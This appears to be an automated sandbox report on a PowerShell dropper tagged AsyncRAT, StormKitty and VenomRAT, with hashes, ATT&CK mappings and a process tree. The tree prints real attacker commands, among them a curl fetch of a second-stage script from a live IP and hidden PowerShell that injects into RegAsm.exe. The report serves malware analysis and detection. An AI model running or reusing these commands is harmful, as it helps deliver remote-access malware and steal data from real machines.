asyncrat | 569775b523c853aa351d5832df2fdbb68fdaa8c05f9cc67289921f00a66c0157

Analysis

max time kernel
93s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-01-2025 07:52

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General

Target

trwsfg.ps1
Size

1KB
MD5

22bae550672a11587c37ebb8dabeefef
SHA1

5c7951317700fd35bbfd39499473889c752f9164
SHA256

569775b523c853aa351d5832df2fdbb68fdaa8c05f9cc67289921f00a66c0157
SHA512

03f9028156f1ba8f4ee62537ddba10c7f7d5ab0cee8cac17c1ae43c0c57922ed8a70d03b780142708afcae9b4eb46bb9b275e8b746061620681a57a27674e92a

Score

10^/10

asyncrat stormkitty venomrat discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/4864-48-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/4864-48-0x0000000000400000-0x0000000000704000-memory.dmp	VenomRAT

Venomrat family
venomrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3660	powershell.exe
12	3576	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3660	powershell.exe
3576	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3576 set thread context of 4864	3576	powershell.exe	90

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
3576	powershell.exe
3576	powershell.exe
4864	RegAsm.exe
4864	RegAsm.exe
4864	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3660	powershell.exe
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	4864	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4864	RegAsm.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3660 wrote to memory of 4976	3660	powershell.exe	84
PID 3660 wrote to memory of 4976	3660	powershell.exe	84
PID 4976 wrote to memory of 3160	4976	cmd.exe	85
PID 4976 wrote to memory of 3160	4976	cmd.exe	85
PID 4976 wrote to memory of 3576	4976	cmd.exe	86
PID 4976 wrote to memory of 3576	4976	cmd.exe	86
PID 3160 wrote to memory of 4444	3160	cmd.exe	87
PID 3160 wrote to memory of 4444	3160	cmd.exe	87
PID 3576 wrote to memory of 2476	3576	powershell.exe	88
PID 3576 wrote to memory of 2476	3576	powershell.exe	88
PID 2476 wrote to memory of 3864	2476	csc.exe	89
PID 2476 wrote to memory of 3864	2476	csc.exe	89
PID 3576 wrote to memory of 4864	3576	powershell.exe	90
PID 3576 wrote to memory of 4864	3576	powershell.exe	90
PID 3576 wrote to memory of 4864	3576	powershell.exe	90
PID 3576 wrote to memory of 4864	3576	powershell.exe	90
PID 3576 wrote to memory of 4864	3576	powershell.exe	90
PID 3576 wrote to memory of 4864	3576	powershell.exe	90
PID 3576 wrote to memory of 4864	3576	powershell.exe	90
PID 3576 wrote to memory of 4864	3576	powershell.exe	90

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trwsfg.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3660
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3160
  - - C:\Windows\system32\curl.exe
      curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
      4⤵
      PID:4444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3576
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\go0eplwh\go0eplwh.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2476
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD2FF.tmp" "c:\Users\Admin\AppData\Local\Temp\go0eplwh\CSCE6C03B0E539F4303AA853E3CA654CF8.TMP"
        5⤵
        
        PID:3864
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD2FF.tmp

Filesize
1KB

MD5
f0067e4e4cd65e55f205f3a17506ff18

SHA1
2f63f73abf599abada30428cfe60f6772b4f46a0

SHA256
927c4e6a4016f39e9123e34d58ead8321ea284ba7b89eb3fbdacb1cdb051b81c

SHA512
dbe0d3a9c443f97f967cb0665ed09a654fcf8fe42388b86ea3cea2b8a9fb41724b4c347e12ada211b1ac48fee612c21cf340e3c1f8a4806035bcce47fa897819

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfd1z0uw.a34.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\go0eplwh\go0eplwh.dll

Filesize
9KB

MD5
d9e05e6337468af3e9cea7c1812e0cf0

SHA1
938b79910c9df31527287b6b378c7f67a86a1e5d

SHA256
f5c90e60c1ddb9670c6536132b4d9649f2b9978689d199d49c541bb7bd2c6bcb

SHA512
abf07ddff52ec877fe04e2efa174f64d94a744a2e6db919bf6ee0cbab19949b85180b5247fc3603849a805609e0305ff311a96033cc90dc08b0e21d6767a19cc

Download Submit
C:\Windows\Temp\Modules.bat

Filesize
3KB

MD5
bb445d197063475c8d78de4f0825753c

SHA1
158a8e3b278affe7c1185aad67683e4253cf53dd

SHA256
7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

SHA512
173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\go0eplwh\CSCE6C03B0E539F4303AA853E3CA654CF8.TMP

Filesize
652B

MD5
d17487827529b80b4232c71ae4b968ee

SHA1
a58156beb41aa659ca1439533e41037ff3d5a2c2

SHA256
bc4c45f41ff64893bf747d5385fc9ec29c9e61fafca713b72e24f6007f1fb8d2

SHA512
bef78661f27512ddbef85f10e27d64e4e1074cd9fe6a4c4315589c676411f018ea433c905af9e2dfd9e0012760a8451082c37b6a42bd1c54da819513310973ef

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\go0eplwh\go0eplwh.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\go0eplwh\go0eplwh.cmdline

Filesize
204B

MD5
fbd49be0c1dedffd6a8c2966bb4ff4a3

SHA1
183d956ffaa4cecbc762efcc0564e8fd6a6f1d47

SHA256
e5ac76fd5579a98b7518e3907c1509ae52d0759f6eebf47ead41221bd132addc

SHA512
b5ebbde450f3edfe0ce7c61e7959fd1405a3decc807477ade0afc48a41eab077c62bc04edbad0023e1dd7e5f41876eb3eed13f251b6e36e6601f4e2056de2027

Download Submit
memory/3576-46-0x00000237ED6C0000-0x00000237ED6C8000-memory.dmp

Filesize
32KB

Download
memory/3576-50-0x00007FFC9E500000-0x00007FFC9EFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3576-31-0x00000237ED990000-0x00000237ED9D4000-memory.dmp

Filesize
272KB

Download
memory/3576-32-0x00000237EDC70000-0x00000237EDCE6000-memory.dmp

Filesize
472KB

Download
memory/3576-33-0x00000237EB5A0000-0x00000237EB5B0000-memory.dmp

Filesize
64KB

Download
memory/3576-20-0x00007FFC9E500000-0x00007FFC9EFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3576-30-0x00007FFC9E500000-0x00007FFC9EFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3660-0-0x00007FFC9E503000-0x00007FFC9E505000-memory.dmp

Filesize
8KB

Download
memory/3660-1-0x00000175FCC40000-0x00000175FCC62000-memory.dmp

Filesize
136KB

Download
memory/3660-11-0x00007FFC9E500000-0x00007FFC9EFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3660-12-0x00007FFC9E500000-0x00007FFC9EFC1000-memory.dmp

Filesize
10.8MB

Download
memory/3660-18-0x00007FFC9E500000-0x00007FFC9EFC1000-memory.dmp

Filesize
10.8MB

Download
memory/4864-57-0x00000000060A0000-0x0000000006106000-memory.dmp

Filesize
408KB

Download
memory/4864-51-0x0000000005690000-0x0000000005C34000-memory.dmp

Filesize
5.6MB

Download
memory/4864-52-0x0000000005540000-0x00000000055D2000-memory.dmp

Filesize
584KB

Download
memory/4864-53-0x00000000054A0000-0x00000000054AA000-memory.dmp

Filesize
40KB

Download
memory/4864-56-0x00000000065B0000-0x000000000664C000-memory.dmp

Filesize
624KB

Download
memory/4864-48-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4864-58-0x0000000006960000-0x0000000006982000-memory.dmp

Filesize
136KB

Download
memory/4864-59-0x0000000006990000-0x0000000006CE4000-memory.dmp

Filesize
3.3MB

Download